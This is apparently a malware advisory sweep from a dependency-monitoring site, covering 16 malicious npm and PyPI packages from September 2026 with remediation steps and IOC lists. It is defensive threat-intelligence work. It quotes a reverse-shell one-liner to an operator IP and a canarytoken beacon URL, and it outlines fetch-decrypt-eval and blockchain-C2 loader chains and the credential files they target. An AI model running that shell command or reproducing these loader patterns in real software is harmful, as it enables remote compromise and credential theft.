# GitHub Advisory malware sweep - 2026-09-11/12 (`greensaver` jsonkeeper AES continuation, `tailwind-form-kit` EtherHiding continuation, `2026-09-openaii` AI SDK typosquat wave `langgrap`/`openaii`/`transfomers`/`ollamaa`, `eth-account`/`web3-eth-account` blockchain-C2 pair, `@nimbusedge/auth` dep-confusion reverse shell)

> GHSA 2026-09-11/12: `greensaver` continues the `jsonkeeper.com/b/V6NBX` AES operator (4th package in 5 days); `tailwind-form-kit` continues the `0xa322E5…` EtherHiding operator; new `2026-09-openaii` PyPI wave hits `langgrap`/`openaii`/`transfomers`/`ollamaa`; `web3-eth-account`/`eth-account-web3` fetch payload URLs from a smart contract; `@nimbusedge/auth` drops a reverse shell.

- Published: 2026-09-12
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm, PyPI
- Scope: 16 packages, 24 compromised versions
- Tags: typosquat, infostealer, credential-theft, crypto-wallet-drain, obfuscation, dns-exfiltration, dependency-confusion
- Also known as: 2026-09-12 GHSA npm/PyPI sweep, greensaver picomatch-style typosquat, tailwind-form-kit EtherHiding wallet-C2, 2026-09-openaii AI SDK typosquat wave (langgrap/openaii/transfomers/ollamaa), 2026-09-aitextkit-py systemd persistence pair, 2026-09-web3-eth-account blockchain-C2 pair, 2026-09-pymem-win Windows trojan, @nimbusedge/auth dep-confusion reverse shell, platform-telemetry-client PyPI PTH DNS-staged loader
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, amazon-inspector
- Incident ID: multi-2026-09-12-ghsa-malware-sweep

## Affected packages (16)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@nimbusedge/auth](https://dependencywatch.io/package/npm/@nimbusedge/auth) | npm | * |
| [aitextkit-py](https://dependencywatch.io/package/pypi/aitextkit-py) | PyPI | 0.1.0, 0.1.1 |
| [aitextutils-py](https://dependencywatch.io/package/pypi/aitextutils-py) | PyPI | 0.1.0, 0.1.1 |
| [cr-bot-common](https://dependencywatch.io/package/npm/cr-bot-common) | npm | 1.0.0 |
| [eth-account-web3](https://dependencywatch.io/package/pypi/eth-account-web3) | PyPI | 0.14.0 |
| [greensaver](https://dependencywatch.io/package/npm/greensaver) | npm | 1.2.1, 1.2.2, 1.2.3 |
| [langgrap](https://dependencywatch.io/package/pypi/langgrap) | PyPI | 0.2.45 |
| [ollamaa](https://dependencywatch.io/package/pypi/ollamaa) | PyPI | 0.4.2 |
| [openaii](https://dependencywatch.io/package/pypi/openaii) | PyPI | * |
| [platform-telemetry-client](https://dependencywatch.io/package/pypi/platform-telemetry-client) | PyPI | 1.0.0 |
| [pymem-win](https://dependencywatch.io/package/pypi/pymem-win) | PyPI | 1.14.0, 1.14.1, 1.14.4, 1.14.5, 1.14.6 |
| [strapi-plugin-vinsoc-1109](https://dependencywatch.io/package/npm/strapi-plugin-vinsoc-1109) | npm | 3.6.8 |
| [tailwind-form-kit](https://dependencywatch.io/package/npm/tailwind-form-kit) | npm | * |
| [tracker-cloudflare](https://dependencywatch.io/package/npm/tracker-cloudflare) | npm | 1.0.0 |
| [transfomers](https://dependencywatch.io/package/pypi/transfomers) | PyPI | 4.44.2 |
| [web3-eth-account](https://dependencywatch.io/package/pypi/web3-eth-account) | PyPI | 0.14.0 |

## What happened

Between roughly 2026-09-11 12:00 UTC and 2026-09-12 12:00 UTC, GitHub Advisory Database published 17 new npm and PyPI malware advisories plus a smaller-than-usual tea.xyz spam continuation. This window is **notable for two continuation-of-yesterday operators re-surfacing under new names** (Cluster A `greensaver` = yesterday's `pinochiomathm` operator; Cluster B `tailwind-form-kit` = yesterday's `tailwindcss-contact-forms` operator), plus a **new coordinated AI-SDK typosquat wave** (Cluster C, four PyPI packages sharing one campaign label).

## Cluster A - `greensaver` (jsonkeeper.com/b/V6NBX AES-256-CBC payload, `myPassword123`, 4th package in 5 days)

`greensaver@1.2.1/1.2.2/1.2.3` (GHSA-jfw2-6254-9cwg) impersonates a `picomatch`-style glob matcher (advertised as "Blazing fast and accurate glob matcher"). Payload chain:

1. `postinstall` fires `node lib/greensaver.js`
2. Two files disguised as TypeScript sourcemaps (`lib/parse.ts.map`, `lib/init.ts.map`) are base64-decoded into JavaScript
3. Loader HTTP-GETs `https://www.jsonkeeper.com/b/V6NBX`
4. Response is decrypted with AES-256-CBC using the hardcoded password `myPassword123`
5. Plaintext is passed directly to `eval()`
6. All decoded files are deleted to remove traces

This is the **fourth** package in five days from what is unmistakably the same operator, using the same collector path and same hardcoded password:

| Date | Package | Sweep file |
|---|---|---|
| 2026-09-09 | `punypump` | multi-2026-09-09-ghsa-malware-sweep (Cluster F) |
| 2026-09-10 | Internal batch reference | multi-2026-09-10-ghsa-malware-sweep |
| 2026-09-11 | `pinochiomathm` (`picomatch` typosquat) | multi-2026-09-11-ghsa-malware-sweep (Cluster A) |
| 2026-09-12 | `greensaver` | *this file* (Cluster A) |

Block `jsonkeeper.com` at corporate egress permanently - the URL is the durable IOC, not the package names.

## Cluster B - `tailwind-form-kit` (EtherHiding, wallet `0xa322E5…`, continuation of yesterday's Cluster B)

`tailwind-form-kit@0.6.4` (GHSA-p7c5-phj5-qm49) plus an all-versions boilerplate flag (GHSA-8p5f-pjcw-69mw). The obfuscated `src/index.js`:

1. Enumerates public Ethereum JSON-RPC providers: `publicnode`, `drpc.org/eth`, `blockscout`, `*stapi.io`
2. Reads transaction data on the hardcoded attacker wallet `0xa322E5f39aDC2490Ef6f0121063eD311D3080e1a`
3. Extracts a base64/gzip/deflate/br-encoded payload from an `x-payload-B64` response header or transaction data
4. Spawns a child `node` process on the retrieved bytes

Same wallet + same RPC fanout + same header shape as yesterday's `tailwindcss-contact-forms` (2026-09-11 Cluster B). This is a follow-up publish under a different `tailwind*` lookalike name; the operator has now used the wallet address for at least two package names and appears to be cycling `@tailwindcss/forms` lookalikes.

## Cluster C - `2026-09-openaii` AI SDK typosquat wave (PyPI, 4 coordinated packages)

All four PyPI packages published within a ~24h window under the shared campaign label `2026-09-openaii`:

| GHSA | Package | Typosquat of | Versions |
|---|---|---|---|
| GHSA-crjm-2g45-pq97 | `langgrap` | `langgraph` | `0.2.45` |
| GHSA-q5h5-h6mj-vhgv | `openaii` | `openai` | `<=1.55.3` |
| GHSA-2p95-qvc5-6rjq | `transfomers` | `transformers` | `4.44.2` |
| GHSA-9gv4-vfjg-jjrm | `ollamaa` | `ollama` | `0.4.2` |

Common payload shape: a `.pth` file executes on Python startup (before any user code), downloads and executes an obfuscated second-stage script, hides its own existence on disk, and drops:

- SSH-key + cloud-credential exfiltration (`~/.ssh/*`, `~/.aws/credentials`, GCP ADC, Azure profile)
- A cryptominer
- A persistence mechanism
- Log-clearing / track-covering routines
- Anti-analysis obfuscation explicitly designed against AI-based static scanners

Correlating source hashes (Amazon Inspector via kam193 / bad-packages.kam193.eu):
- `80943fa8…744b1db9` — `langgrap`
- `c49a2850…21e79120` — `openaii`
- `c6a3963d…9befec9a` — `transfomers`
- (`ollamaa` hash not disclosed in advisory body)

The *combined* pick of `langgrap` + `openaii` + `transfomers` + `ollamaa` targets the *exact stack* an AI-agent-building developer is likely to `pip install` in one session. Same-operator campaign under this label also runs `platform-telemetry-client` (Cluster H) as a sibling probe.

## Cluster D - `aitextkit-py` / `aitextutils-py` (PyPI, systemd-persistence pair)

Coordinated pair published together:

- `aitextkit-py@0.1.0/0.1.1` (GHSA-657v-53xv-3xw9)
- `aitextutils-py@0.1.0/0.1.1` (GHSA-hm5j-9gw8-8568)

On import, each package contains a hidden downloader that fetches and executes a heavily obfuscated final-stage payload. Persistence is installed via a systemd service named `anymeetly-cameradriver`, plausibly disguised as a legitimate device-driver update. The AI-themed names read as *lures* (there is no widely-used `aitextkit` or `aitextutils` upstream to typosquat) rather than typosquats. Campaign label `2026-09-aitextkit-py`; content is hosted on a domain associated with a corporate-style website facade (specific hostname not disclosed in the advisory body).

## Cluster E - `web3-eth-account` / `eth-account-web3` (PyPI, blockchain-C2 typosquat pair)

Coordinated typosquats of the legitimate `eth-account` library:

- `web3-eth-account@0.14.0` (GHSA-6rvw-xw58-h4pf)
- `eth-account-web3@0.14.0` (GHSA-wg93-942j-x57j)

Both are gated: the malicious behaviour only activates on import if particular environment variables are present (a common sandbox-evasion pattern). When triggered:

1. Query a public blockchain for the state of a specific smart contract
2. Read the next-stage payload URL from that contract's state
3. Download and execute the retrieved payload

This is a *variant* of Cluster B's EtherHiding pattern: rather than reading transaction data on a wallet, it reads state on a contract. Attribution to the same operator as Cluster B is *plausible* but not confirmed by the advisory. Campaign label `2026-09-web3-eth-account`.

## Cluster F - `pymem-win` (PyPI, Windows trojan/infostealer, campaign overlap with 2026-07 yt-api-dlp)

`pymem-win@1.14.0/1.14.1/1.14.4/1.14.5/1.14.6` (GHSA-9q7m-83fp-6g4q) is a typosquat of the legitimate `pymem` Windows memory-manipulation library. On import, obfuscated code downloads and executes a Windows `.exe` binary from a remote endpoint. The advisory explicitly notes campaign overlap with the July 2026 `2026-07-yt-api-dlp` campaign (`yt-dlp` typosquat, same operator, rotated name). Source hash `82eb1f11…b0528477`.

## Cluster G - `@nimbusedge/auth` (npm, dep-confusion reverse shell)

`@nimbusedge/auth` (GHSA-gr7r-8wrc-f3mw) is a dep-confusion probe using the classic inflated-version trick: 43 versions published under `19999.0.1` through `19999.1360.5`, plus a lower `221.1.0` companion. Any organization with an internal `nimbusedge` scope that resolves against public npm will pull one of these versions before its own registry can respond.

`preinstall` payload:

1. `bash -i >& /dev/tcp/147.93.157.202/8080 0>&1` — interactive reverse shell to the operator IP
2. `curl` POST session data to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` — canarytoken beacon

The canarytokens.com beacon *could* indicate this is a security-research canary run against a hypothetical `@nimbusedge/*` corporate scope. However, an interactive reverse shell to `147.93.157.202:8080` is real RCE either way; treat any hit as an active compromise.

## Cluster H - `platform-telemetry-client` (PyPI, PTH DNS-staged loader, aborted)

`platform-telemetry-client@1.0.0` (GHSA-7767-763c-fxp3) plants a `.pth` file that runs the loader on every Python init. The loader attempts to retrieve payload staged in DNS records. **The intended DNS domain was not registered during OpenSSF analysis** - so this package did not fully detonate in the wild. It shares campaign label `2026-09-openaii` with Cluster C, indicating the same operator. Treat as a would-be RCE vehicle; if the operator later registers the DNS record, existing installations will detonate the next time Python starts.

## Cluster I - boilerplate / beacon singletons (small)

Small low-analysis batch:

- `cr-bot-common@1.0.0` (GHSA-mjmf-5pc4-pfrp) — npm preinstall + postinstall harvester scanning `.env` (cwd + parents), private-key files (`*.key`, `*.pem`, `id_rsa`, `id_ed25519`, `wallet.json`, `keystore.json`, `mnemonic.txt`), env-var patterns (KEY / SECRET / TOKEN / PASSWORD / AWS / PRIVATE / MONGO / JWT), and cloud/container metadata (Docker, Kubernetes, AWS, GCP, Azure). IOCs use placeholder `attacker.com/collect` and `attacker.com/exfiltrate` URLs, suggesting this is a template or demo rather than a live campaign - but a package with real collection routines is malicious regardless.
- `tracker-cloudflare@1.0.0` (GHSA-f874-m83r-9vqh) — npm preinstall beacon to `c6j5cmm8sia88v4zyhykqvhvcmid65uu.oastify.com` (Burp Collaborator / OAST server) with `/etc/passwd`, `/etc/hosts`, DNS config, and user metadata. Standard dep-confusion pentest probe.
- `strapi-plugin-vinsoc-1109@3.6.8` (GHSA-244v-fw48-794m) — OpenSSF Package Analysis flag for communicating with a malicious domain. Continues the Strapi plugin typosquat pattern already documented in the April 2026 Strapi plugin file.

## Cluster J - tea.xyz spam wave (smaller, continuing)

The tea.xyz auto-publish spam continues to appear at a *lower* rate than yesterday - only a handful of `fancy_*_z3n` / `famous_*_z3n` names surfaced in the sweep window vs. hundreds yesterday. No new naming schemes. Continue applying the prefix / regex deny-list rules from the 2026-09-11 sweep to internal mirrors; this file does not re-enumerate.

## Cross-operator patterns worth flagging

1. **`jsonkeeper.com/b/V6NBX` + `myPassword123` is now a five-day-durable operator IOC.** Block the URL at corporate egress permanently. Package names are ephemeral; the collector is not.
2. **The `0xa322E5…` Ethereum wallet is now a two-day-durable operator IOC.** Add it to any internal blockchain-monitoring rule set.
3. **AI SDK typosquat volume is accelerating.** Between Cluster C (four packages here), Cluster D (two more), and the ongoing background rate of `openai`/`anthropic`/`langchain`/`langgraph`/`transformers`/`ollama` typosquats, an "AI-adjacent name lookalike" filter on npm and PyPI resolution is starting to pay for itself. Consider requiring `--index-url` pinning + hash-pinned requirements files for any pipeline that installs AI SDKs.

## Registry state

All packages in Clusters A-I are flagged as malware on npm / PyPI and quarantined at the time of writing. Cluster J tea.xyz spam is auto-republished continuously under fresh randomised names under the same operator infrastructure; only prefix / regex denylists on internal mirrors are durable mitigation.

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `amazon-inspector` (via kam193 / bad-packages.kam193.eu). Per-package IOC details drawn verbatim from GHSA advisory bodies published between 2026-09-11 and 2026-09-12 UTC.

## Impact

- **Cluster A — `greensaver` npm typosquat (`jsonkeeper.com/b/V6NBX` AES-256-CBC payload, `myPassword123`)**: `greensaver@1.2.1/1.2.2/1.2.3` (GHSA-jfw2-6254-9cwg) impersonates a glob-matcher library ("Blazing fast and accurate glob matcher") in the `picomatch` mould. Its `postinstall` runs `node lib/greensaver.js`, which base64-decodes ciphertext hidden in decoy `lib/parse.ts.map` / `lib/init.ts.map` "sourcemaps", HTTP-GETs `https://www.jsonkeeper.com/b/V6NBX`, decrypts the response with AES-256-CBC using the hardcoded password `myPassword123`, `eval()`s the plaintext, then deletes the decoded files. Same collector path + same hardcoded password as yesterday's `pinochiomathm` (Cluster A, 2026-09-11 sweep) and Sunday's `punypump` (Cluster F, 2026-09-09 sweep) — this is the same operator on its **fourth known package in five days**. Amazon Inspector source hash `dd840e550f39e1f29f7a50b0cd121c3fa5e78e99954f22009f03b5ac775f91ec`
- **Cluster B — `tailwind-form-kit` npm EtherHiding wallet-C2 continuation**: `tailwind-form-kit@0.6.4` (GHSA-p7c5-phj5-qm49) plus an all-versions boilerplate flag (GHSA-8p5f-pjcw-69mw). Its `src/index.js` is a heavily obfuscated single-line obfuscator.io loader that on `require()` enumerates public Ethereum JSON-RPC endpoints (`publicnode`, `drpc.org/eth`, `blockscout`, `*stapi.io`), reads transaction data on the hardcoded attacker wallet `0xa322E5f39aDC2490Ef6f0121063eD311D3080e1a`, extracts a base64/gzip/deflate/br-encoded payload from `x-payload-B64` response headers or transaction data, then spawns a child `node` process on the retrieved bytes. Same wallet, same RPC-provider fanout, same `X-Payload-*` header shape as yesterday's `tailwindcss-contact-forms` (Cluster B, 2026-09-11 sweep) — same operator, follow-up name in the same NullReceiver / EtherHiding fetch-and-exec family
- **Cluster C — `2026-09-openaii` AI SDK typosquat wave (PyPI, 4 packages)**: `langgrap@0.2.45` (GHSA-crjm-2g45-pq97, typosquat of `langgraph`), `openaii<=1.55.3` (GHSA-q5h5-h6mj-vhgv, typosquat of `openai`), `transfomers@4.44.2` (GHSA-2p95-qvc5-6rjq, typosquat of `transformers`), and `ollamaa@0.4.2` (GHSA-9gv4-vfjg-jjrm, typosquat of `ollama`). All four ship the same payload shape: a `.pth` file executes on Python startup, downloads and executes an obfuscated second stage, hides its own existence, then installs a credential-theft routine (SSH keys, `~/.aws/credentials`, GCP ADC, Azure profile), a cryptomining component, a persistence mechanism, and log-clearing. Anti-analysis obfuscation is explicitly aimed at AI-based security tools. Source hashes: `80943fa8…744b1db9` (langgrap), `c49a2850…21e79120` (openaii), `c6a3963d…9befec9a` (transfomers). Same campaign label ties `Cluster H platform-telemetry-client` in as a sibling
- **Cluster D — `aitextkit-py` / `aitextutils-py` PyPI systemd-persistence pair**: `aitextkit-py@0.1.0/0.1.1` (GHSA-657v-53xv-3xw9) and `aitextutils-py@0.1.0/0.1.1` (GHSA-hm5j-9gw8-8568) share the same "code downloading script, which then downloads and executes a heavily obfuscated final stage" pattern and both install a `anymeetly-cameradriver` systemd service for persistence, indicating a coordinated pair from one operator (campaign label `2026-09-aitextkit-py`). Source hashes `b1a048ec…4610b64bf` (aitextkit-py), `079adf05…4779d52f77` (aitextutils-py). Names are AI-themed lures rather than typosquats of any known real package
- **Cluster E — `web3-eth-account` / `eth-account-web3` PyPI blockchain-C2 typosquat pair**: `web3-eth-account@0.14.0` (GHSA-6rvw-xw58-h4pf) and `eth-account-web3@0.14.0` (GHSA-wg93-942j-x57j), both typosquats of the legitimate `eth-account` library. Both activate on import only if particular environment variables are present (analysis-sandbox evasion). When triggered, they **query a blockchain and read the next-stage payload URL from a smart contract**, then download and execute the retrieved code. This is a *variant* of the EtherHiding pattern (Cluster B): rather than reading transaction data on a wallet, it reads state on a contract - but the operator ergonomics are identical. Same campaign label `2026-09-web3-eth-account`. Source hashes `bd36aeb2…8c9c9503` (web3-eth-account), `25b1d3ec…9d028ca` (eth-account-web3)
- **Cluster F — `pymem-win` PyPI trojan/infostealer (2026-09-pymem-win, overlaps 2026-07-yt-api-dlp)**: `pymem-win@1.14.0/1.14.1/1.14.4/1.14.5/1.14.6` (GHSA-9q7m-83fp-6g4q) is a typosquat of the legitimate `pymem` Windows memory-manipulation library. On import, obfuscated code downloads and executes an `.exe` binary from a remote endpoint. The advisory notes campaign fingerprint overlap with the July 2026 `yt-api-dlp` (yt-dlp typosquat) campaign - same operator, rotated name. Source hash `82eb1f11…b0528477`
- **Cluster G — `@nimbusedge/auth` npm dep-confusion reverse shell (sentinel 19999.x versions)**: `@nimbusedge/auth@19999.0.1` through `19999.1360.5` (43 versions, plus `221.1.0`) (GHSA-gr7r-8wrc-f3mw). Its `preinstall` script runs `bash -i >& /dev/tcp/147.93.157.202/8080 0>&1` (interactive reverse shell) and then `curl`s a POST to `http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` (canarytoken beacon). The `19999.x` inflated-version fanout is the classic dep-confusion resolution pattern used to beat internal-registry `nimbusedge` resolution. The canarytokens.com beacon *could* indicate this is a security-research canary run, but the reverse shell to the operator-controlled IP is a real RCE either way. Source hash `a1c515f5…3d1d5885`
- **Cluster H — `platform-telemetry-client` PyPI PTH DNS-staged loader (2026-09-openaii sibling)**: `platform-telemetry-client@1.0.0` (GHSA-7767-763c-fxp3) plants a `.pth` file that runs the loader on every Python init and attempts to retrieve payload staged in DNS records. **The intended DNS domain was not registered during OpenSSF analysis**, so this specific package did not fully detonate - but it shares the `2026-09-openaii` campaign label with Cluster C and is on the same operator infrastructure. Source hash `7464733f…3cb0a0eb`. Treat as a would-be RCE vehicle; capture the DNS record before it becomes reachable
- **Cluster I — Boilerplate / beacon singletons**: `cr-bot-common@1.0.0` (GHSA-mjmf-5pc4-pfrp) — npm preinstall+postinstall harvester that reads `.env` from cwd + parents, hunts for `*.key`/`*.pem`/`id_rsa`/`id_ed25519`/`wallet.json`/`keystore.json`/`mnemonic.txt`, and detects Docker/Kubernetes/AWS/GCP/Azure metadata endpoints, exfiltrating over HTTPS. IOCs use *placeholder* `attacker.com/collect` / `attacker.com/exfiltrate` URLs, suggesting this is either an unfinished template, a red-team demo, or a naïve fresh-start operator. Source hash `ddd83408…f1ad74f`. `tracker-cloudflare@1.0.0` (GHSA-f874-m83r-9vqh) — npm preinstall beacon to `c6j5cmm8sia88v4zyhykqvhvcmid65uu.oastify.com` (OAST) with `/etc/passwd`, `/etc/hosts`, DNS config, and user metadata. `strapi-plugin-vinsoc-1109@3.6.8` (GHSA-244v-fw48-794m) — OpenSSF-flagged for communicating with a malicious domain; same shape as the April 2026 Strapi plugin typosquat wave
- **Cluster J — tea.xyz token-farming spam wave (continuing, smaller than 2026-09-11)**: The tea.xyz auto-publish spam continues to appear in the GHSA feed at a *lower* rate than yesterday - only a handful of new `fancy_*_z3n` / `famous_*_z3n` / `familiar_*_z3n` / `fantastic_*_z3n` names surfaced in this window vs. hundreds yesterday. No new naming schemes. Continue to apply the prefix / regex rules from the 2026-09-11 sweep to internal mirrors; no per-name enumeration this file

## What to do

1. Grep every `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `package.json`, `requirements.txt`, `poetry.lock`, and `Pipfile.lock` in your org for the specific package names in Clusters A-I below. Uninstall on hit, wipe `node_modules` / the affected venv, delete the lockfile, rebuild against a clean cache, and rotate every credential the affected host could have touched
2. **For Cluster A `greensaver`**: any host that installed `greensaver@1.2.1-1.2.3` executed operator-supplied JavaScript decrypted from `jsonkeeper.com/b/V6NBX`. This is now the **fourth** known package (`punypump`, `pinochiomathm`, an internal 2026-09-10 batch reference, and now `greensaver`) using the *same* collector path + *same* `myPassword123` password within five days. Block `jsonkeeper.com` at corporate egress **permanently** - the URL is the durable operator IOC, not the package names. Treat any host that resolved this URL from a Node build as fully compromised: rotate SSH keys, cloud tokens, and any secrets the build touched
3. **For Cluster B `tailwind-form-kit`**: same remediation as yesterday's `tailwindcss-contact-forms` (2026-09-11 Cluster B). Block `*.ut.com`, `*stapi.io`, and audit ETH RPC-endpoint egress logs from build containers for outbound queries to `drpc.org`, `publicnode.com`, `blockscout`, `blastapi.io`. Any wallets on hosts that ran this package should be considered address-leaked. Pin the real upstream `@tailwindcss/forms` explicitly
4. **For Cluster C `2026-09-openaii` AI SDK typosquats**: any Python environment that imported `langgrap`, `openaii`, `transfomers`, or `ollamaa` should be treated as fully compromised - SSH keys, cloud credentials, and a cryptominer were installed. Rotate every credential from the affected host and search for the persistence mechanism (the advisory does not name the specific persistence path, but campaign siblings use systemd user units or shell-rc autoruns). Pin the real upstream `langgraph`, `openai`, `transformers`, and `ollama` explicitly with hash-pinned requirements files
5. **For Cluster D `aitextkit-py` / `aitextutils-py`**: check `systemctl list-unit-files | grep anymeetly-cameradriver` on any host that ran these packages - stop and remove the unit, delete the unit file, and rebuild any container image that touched them. Search build logs for outbound calls to the operator's obfuscator-hosted second-stage URL (advisory does not disclose the specific host)
6. **For Cluster E `web3-eth-account` / `eth-account-web3`**: hosts that imported these while relevant env vars were set fetched the next-stage payload URL from a public smart contract read. Audit ETH JSON-RPC egress for smart-contract state reads that don't match your application. Pin the real upstream `eth-account` explicitly
7. **For Cluster F `pymem-win`**: any Windows Python environment that imported `pymem-win@1.14.0-1.14.6` executed an operator-supplied `.exe`. Full host compromise on Windows - rotate every credential, run offline AV/EDR forensics, and pin the real upstream `pymem`
8. **For Cluster G `@nimbusedge/auth`**: block IP `147.93.157.202` at corporate egress and add the `canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php` beacon URL to your outbound HTTP deny-list. If your organization owns any internal `nimbusedge` scope and resolves it against public npm, publish an authoritative `19999.x`-beating internal version immediately (or, better, configure the scope to resolve `@nimbusedge/*` only from your private registry)
9. **For Cluster H `platform-telemetry-client`**: even though the intended payload DNS record was unregistered during analysis, treat any host that installed this package as compromised - the loader runs on every Python startup and can activate the moment the operator registers the DNS record. Remove the package and its `.pth` file, then audit `easy-install.pth` and any site-packages-level `.pth` file on affected interpreters
10. For every `npm install` and `pip install` in CI, prefer `--ignore-scripts` / `--no-build-isolation` (pip 23+) or an equivalent lockfile-consumer mode that blocks preinstall/postinstall/setup.py payloads. This blocks Clusters A, D, F, G, I, and the executable half of J entirely for lockfile-consumer paths. It does NOT block Clusters C, E, or H (Python `.pth` file loaders and import-time payloads run whenever the module is imported, not just at install)
11. Add every specific name below to internal private-registry deny-lists for at least 30 days to prevent re-uploads by rotating operators. Block scopes `@nimbusedge/*` (unless you own it) and continue prefix-blocking `fancy_*` / `famous_*` / `familiar_*` / `fantastic_*` / `family-island-unlimited-energy*` from the 2026-09-11 sweep
12. **Durable IOC catalog** (block at corporate egress permanently): `jsonkeeper.com/b/V6NBX`, `ut.com` (any subdomain, per Cluster B), `147.93.157.202`, `oastify.com` (any subdomain), `canarytokens.com` (unless you use it for your own canaries), and the ETH wallet `0xa322E5f39aDC2490Ef6f0121063eD311D3080e1a` on internal blockchain-monitoring rules

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json
- Check a requirements.txt against this incident: https://dependencywatch.io/check/requirements-txt

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [GHSA-jfw2-6254-9cwg - greensaver (Cluster A - jsonkeeper.com/b/V6NBX AES continuation)](https://github.com/advisories/GHSA-jfw2-6254-9cwg) - GitHub
- [GHSA-p7c5-phj5-qm49 - tailwind-form-kit 0.6.4 (Cluster B - EtherHiding wallet-C2 continuation)](https://github.com/advisories/GHSA-p7c5-phj5-qm49) - GitHub
- [GHSA-8p5f-pjcw-69mw - tailwind-form-kit all versions (Cluster B - boilerplate)](https://github.com/advisories/GHSA-8p5f-pjcw-69mw) - GitHub
- [GHSA-crjm-2g45-pq97 - langgrap (Cluster C - langgraph typosquat)](https://github.com/advisories/GHSA-crjm-2g45-pq97) - GitHub
- [GHSA-q5h5-h6mj-vhgv - openaii (Cluster C - openai typosquat)](https://github.com/advisories/GHSA-q5h5-h6mj-vhgv) - GitHub
- [GHSA-2p95-qvc5-6rjq - transfomers (Cluster C - transformers typosquat)](https://github.com/advisories/GHSA-2p95-qvc5-6rjq) - GitHub
- [GHSA-9gv4-vfjg-jjrm - ollamaa (Cluster C - ollama typosquat)](https://github.com/advisories/GHSA-9gv4-vfjg-jjrm) - GitHub
- [GHSA-657v-53xv-3xw9 - aitextkit-py (Cluster D - systemd persistence)](https://github.com/advisories/GHSA-657v-53xv-3xw9) - GitHub
- [GHSA-hm5j-9gw8-8568 - aitextutils-py (Cluster D - systemd persistence)](https://github.com/advisories/GHSA-hm5j-9gw8-8568) - GitHub
- [GHSA-6rvw-xw58-h4pf - web3-eth-account (Cluster E - blockchain-C2 typosquat)](https://github.com/advisories/GHSA-6rvw-xw58-h4pf) - GitHub
- [GHSA-wg93-942j-x57j - eth-account-web3 (Cluster E - blockchain-C2 typosquat)](https://github.com/advisories/GHSA-wg93-942j-x57j) - GitHub
- [GHSA-9q7m-83fp-6g4q - pymem-win (Cluster F - Windows trojan)](https://github.com/advisories/GHSA-9q7m-83fp-6g4q) - GitHub
- [GHSA-gr7r-8wrc-f3mw - @nimbusedge/auth (Cluster G - dep-confusion reverse shell)](https://github.com/advisories/GHSA-gr7r-8wrc-f3mw) - GitHub
- [GHSA-7767-763c-fxp3 - platform-telemetry-client (Cluster H - PTH DNS-staged loader)](https://github.com/advisories/GHSA-7767-763c-fxp3) - GitHub
- [GHSA-mjmf-5pc4-pfrp - cr-bot-common (Cluster I - env/keys/cloud harvester)](https://github.com/advisories/GHSA-mjmf-5pc4-pfrp) - GitHub
- [GHSA-f874-m83r-9vqh - tracker-cloudflare (Cluster I - oastify OAST beacon)](https://github.com/advisories/GHSA-f874-m83r-9vqh) - GitHub
- [GHSA-244v-fw48-794m - strapi-plugin-vinsoc-1109 (Cluster I - malicious-domain comm)](https://github.com/advisories/GHSA-244v-fw48-794m) - GitHub
- [OpenSSF malicious-packages repository](https://github.com/ossf/malicious-packages) - OpenSSF
- [Sonatype: Six npm Packages Use Ethereum Transactions to Retrieve Malicious Payloads (Cluster B precedent)](https://www.sonatype.com/blog/six-npm-packages-use-ethereum-transactions-to-retrieve-malicious-payloads) - Sonatype

---

Canonical page: https://dependencywatch.io/incident/multi-2026-09-12-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-09-12-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).